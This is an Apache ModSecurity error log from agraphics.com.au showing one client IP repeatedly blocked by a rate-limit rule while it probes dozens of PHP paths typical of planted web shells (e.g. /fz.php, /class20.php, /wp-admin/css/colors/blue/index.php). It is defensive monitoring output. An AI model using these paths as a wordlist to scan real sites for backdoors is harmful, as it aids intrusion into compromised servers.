[Sun Dec 21 21:42:38.566428 2025] [:error] [pid 30183:tid 30197] [client 104.208.116.65:12229] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aUf5TuCmP2zCzk_WZcUWCAAAAQw"]
[Sun Dec 21 21:42:38.945500 2025] [:error] [pid 59068:tid 59116] [client 104.208.116.65:33368] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aUf5ThmLyLqWUlrjwyecPAAAAE8"]
[Sun Dec 21 21:42:39.249058 2025] [:error] [pid 59067:tid 59082] [client 104.208.116.65:33347] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aUf5T8tpsOP1NfIK_qJvJwAAAAg"]
[Sun Dec 21 21:42:39.511051 2025] [:error] [pid 42755:tid 42758] [client 104.208.116.65:12249] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aUf5T-W0XvxgXMTJJbvZ1wAAAUE"]
[Sun Dec 21 21:42:39.846271 2025] [:error] [pid 59067:tid 59077] [client 104.208.116.65:12253] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aUf5T8tpsOP1NfIK_qJvKAAAAAM"]
[Sun Dec 21 21:42:40.290987 2025] [:error] [pid 59067:tid 59089] [client 104.208.116.65:33358] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sang.php"] [unique_id "aUf5UMtpsOP1NfIK_qJvKgAAAA8"]
[Sun Dec 21 21:42:40.585456 2025] [:error] [pid 59067:tid 59092] [client 104.208.116.65:34518] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sang.php"] [unique_id "aUf5UMtpsOP1NfIK_qJvLAAAABI"]
[Sun Dec 21 21:42:40.964466 2025] [:error] [pid 42755:tid 42764] [client 104.208.116.65:12282] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sang.php"] [unique_id "aUf5UOW0XvxgXMTJJbvZ2gAAAUc"]
[Sun Dec 21 21:42:41.358578 2025] [:error] [pid 30183:tid 30205] [client 104.208.116.65:33375] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sang.php"] [unique_id "aUf5UeCmP2zCzk_WZcUWDgAAARQ"]
[Sun Dec 21 21:42:41.727874 2025] [:error] [pid 59070:tid 59139] [client 104.208.116.65:12231] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aUf5UX3dhXne9KX1kgJXJwAAAIs"]
[Sun Dec 21 21:42:42.006914 2025] [:error] [pid 30183:tid 30186] [client 104.208.116.65:34533] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aUf5UuCmP2zCzk_WZcUWEQAAAQE"]
[Sun Dec 21 21:42:42.474746 2025] [:error] [pid 30183:tid 30208] [client 104.208.116.65:34544] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aUf5UuCmP2zCzk_WZcUWEgAAARc"]
[Sun Dec 21 21:42:42.971758 2025] [:error] [pid 59067:tid 59076] [client 104.208.116.65:12277] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aUf5UstpsOP1NfIK_qJvMwAAAAI"]
[Sun Dec 21 21:42:43.260127 2025] [:error] [pid 59068:tid 59112] [client 104.208.116.65:34525] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxl.php"] [unique_id "aUf5UxmLyLqWUlrjwyecRQAAAEs"]
[Sun Dec 21 21:42:43.678211 2025] [:error] [pid 42755:tid 42771] [client 104.208.116.65:12251] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxl.php"] [unique_id "aUf5U-W0XvxgXMTJJbvZ6wAAAU4"]
[Sun Dec 21 21:42:43.975497 2025] [:error] [pid 59067:tid 59080] [client 104.208.116.65:34545] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxl.php"] [unique_id "aUf5U8tpsOP1NfIK_qJvNgAAAAY"]
[Sun Dec 21 21:42:44.534307 2025] [:error] [pid 30183:tid 30192] [client 104.208.116.65:12244] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxl.php"] [unique_id "aUf5VOCmP2zCzk_WZcUWFgAAAQc"]
[Sun Dec 21 21:42:44.869320 2025] [:error] [pid 59068:tid 59109] [client 104.208.116.65:12265] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUf5VBmLyLqWUlrjwyecSgAAAEg"]
[Sun Dec 21 21:42:45.214354 2025] [:error] [pid 59068:tid 59108] [client 104.208.116.65:12255] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUf5VRmLyLqWUlrjwyecTAAAAEc"]
[Sun Dec 21 21:42:45.506425 2025] [:error] [pid 59067:tid 59086] [client 104.208.116.65:12169] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUf5VctpsOP1NfIK_qJvPgAAAAw"]
[Sun Dec 21 21:42:46.111232 2025] [:error] [pid 59068:tid 59119] [client 104.208.116.65:12250] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUf5VhmLyLqWUlrjwyecTgAAAFI"]
[Sun Dec 21 21:42:46.437306 2025] [:error] [pid 59158:tid 59168] [client 104.208.116.65:12258] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aUf5Vo7NvyNF8ab5VgVMmgAAAMg"]
[Sun Dec 21 21:42:46.850490 2025] [:error] [pid 59158:tid 59166] [client 104.208.116.65:34529] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aUf5Vo7NvyNF8ab5VgVMnAAAAMY"]
[Sun Dec 21 21:42:47.176424 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:34559] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aUf5V47NvyNF8ab5VgVMngAAANE"]
[Sun Dec 21 21:42:47.519251 2025] [:error] [pid 59158:tid 59180] [client 104.208.116.65:33399] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aUf5V47NvyNF8ab5VgVMoAAAANQ"]
[Sun Dec 21 21:42:47.782750 2025] [:error] [pid 59070:tid 59140] [client 104.208.116.65:34555] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aUf5V33dhXne9KX1kgJXMAAAAIw"]
[Sun Dec 21 21:42:48.113274 2025] [:error] [pid 59068:tid 59116] [client 104.208.116.65:12226] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aUf5WBmLyLqWUlrjwyecVQAAAE8"]
[Sun Dec 21 21:42:48.451277 2025] [:error] [pid 59068:tid 59123] [client 104.208.116.65:12278] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aUf5WBmLyLqWUlrjwyecWQAAAFY"]
[Sun Dec 21 21:42:48.723768 2025] [:error] [pid 30183:tid 30194] [client 104.208.116.65:34531] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aUf5WOCmP2zCzk_WZcUWHgAAAQk"]
[Sun Dec 21 21:42:48.963704 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:33396] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aUf5WBmLyLqWUlrjwyecXwAAAE0"]
[Sun Dec 21 21:42:49.220371 2025] [:error] [pid 59067:tid 59074] [client 104.208.116.65:33385] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aUf5WctpsOP1NfIK_qJvSAAAAAA"]
[Sun Dec 21 21:42:49.516901 2025] [:error] [pid 59158:tid 59169] [client 104.208.116.65:12275] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aUf5WY7NvyNF8ab5VgVMpwAAAMk"]
[Sun Dec 21 21:42:49.815322 2025] [:error] [pid 42755:tid 42759] [client 104.208.116.65:33387] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aUf5WeW0XvxgXMTJJbvZ8QAAAUI"]
[Sun Dec 21 21:42:50.076935 2025] [:error] [pid 59158:tid 59183] [client 104.208.116.65:12285] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5Wo7NvyNF8ab5VgVMqQAAANc"]
[Sun Dec 21 21:42:50.328115 2025] [:error] [pid 59158:tid 59176] [client 104.208.116.65:34505] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5Wo7NvyNF8ab5VgVMqgAAANA"]
[Sun Dec 21 21:42:50.569116 2025] [:error] [pid 30183:tid 30207] [client 104.208.116.65:33371] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5WuCmP2zCzk_WZcUWIwAAARY"]
[Sun Dec 21 21:42:50.953238 2025] [:error] [pid 42755:tid 42778] [client 104.208.116.65:12192] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5WuW0XvxgXMTJJbvZ9QAAAVU"]
[Sun Dec 21 21:42:51.368988 2025] [:error] [pid 59067:tid 59096] [client 104.208.116.65:12232] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aUf5W8tpsOP1NfIK_qJvTAAAABY"]
[Sun Dec 21 21:42:51.627776 2025] [:error] [pid 59070:tid 59143] [client 104.208.116.65:12284] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aUf5W33dhXne9KX1kgJXNwAAAI8"]
[Sun Dec 21 21:42:51.935343 2025] [:error] [pid 59158:tid 59175] [client 104.208.116.65:33374] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aUf5W47NvyNF8ab5VgVMrwAAAM8"]
[Sun Dec 21 21:42:52.229307 2025] [:error] [pid 59070:tid 59150] [client 104.208.116.65:12230] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.php"] [unique_id "aUf5XH3dhXne9KX1kgJXOQAAAJY"]
[Sun Dec 21 21:42:52.558372 2025] [:error] [pid 59067:tid 59081] [client 104.208.116.65:33393] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwe.php"] [unique_id "aUf5XMtpsOP1NfIK_qJvTwAAAAc"]
[Sun Dec 21 21:42:52.852522 2025] [:error] [pid 59068:tid 59112] [client 104.208.116.65:33403] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwe.php"] [unique_id "aUf5XBmLyLqWUlrjwyecZgAAAEs"]
[Sun Dec 21 21:42:53.130940 2025] [:error] [pid 59068:tid 59124] [client 104.208.116.65:12174] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwe.php"] [unique_id "aUf5XRmLyLqWUlrjwyecaAAAAFc"]
[Sun Dec 21 21:42:53.418431 2025] [:error] [pid 59068:tid 59117] [client 104.208.116.65:12180] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fwe.php"] [unique_id "aUf5XRmLyLqWUlrjwyecaQAAAFA"]
[Sun Dec 21 21:42:53.849243 2025] [:error] [pid 59068:tid 59109] [client 104.208.116.65:33359] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUf5XRmLyLqWUlrjwyecawAAAEg"]
[Sun Dec 21 21:42:54.224709 2025] [:error] [pid 30183:tid 30186] [client 104.208.116.65:34509] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUf5XuCmP2zCzk_WZcUWKAAAAQE"]
[Sun Dec 21 21:42:54.639848 2025] [:error] [pid 59068:tid 59104] [client 104.208.116.65:12280] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUf5XhmLyLqWUlrjwyecbQAAAEM"]
[Sun Dec 21 21:42:54.926262 2025] [:error] [pid 30183:tid 30193] [client 104.208.116.65:12281] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUf5XuCmP2zCzk_WZcUWKwAAAQg"]
[Sun Dec 21 21:42:55.249814 2025] [:error] [pid 59070:tid 59132] [client 104.208.116.65:12173] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aUf5X33dhXne9KX1kgJXSAAAAIQ"]
[Sun Dec 21 21:42:55.520937 2025] [:error] [pid 42755:tid 42780] [client 104.208.116.65:12118] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aUf5X-W0XvxgXMTJJbvZ_gAAAVc"]
[Sun Dec 21 21:42:55.836305 2025] [:error] [pid 30183:tid 30188] [client 104.208.116.65:33360] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aUf5X-CmP2zCzk_WZcUWLQAAAQM"]
[Sun Dec 21 21:42:56.095995 2025] [:error] [pid 59158:tid 59183] [client 104.208.116.65:12269] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aUf5YI7NvyNF8ab5VgVMswAAANc"]
[Sun Dec 21 21:42:56.340702 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:12227] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aUf5YBmLyLqWUlrjwyecbwAAAE0"]
[Sun Dec 21 21:42:56.662008 2025] [:error] [pid 59068:tid 59125] [client 104.208.116.65:12060] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aUf5YBmLyLqWUlrjwyeccAAAAFg"]
[Sun Dec 21 21:42:56.931596 2025] [:error] [pid 59067:tid 59079] [client 104.208.116.65:12270] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aUf5YMtpsOP1NfIK_qJvXQAAAAU"]
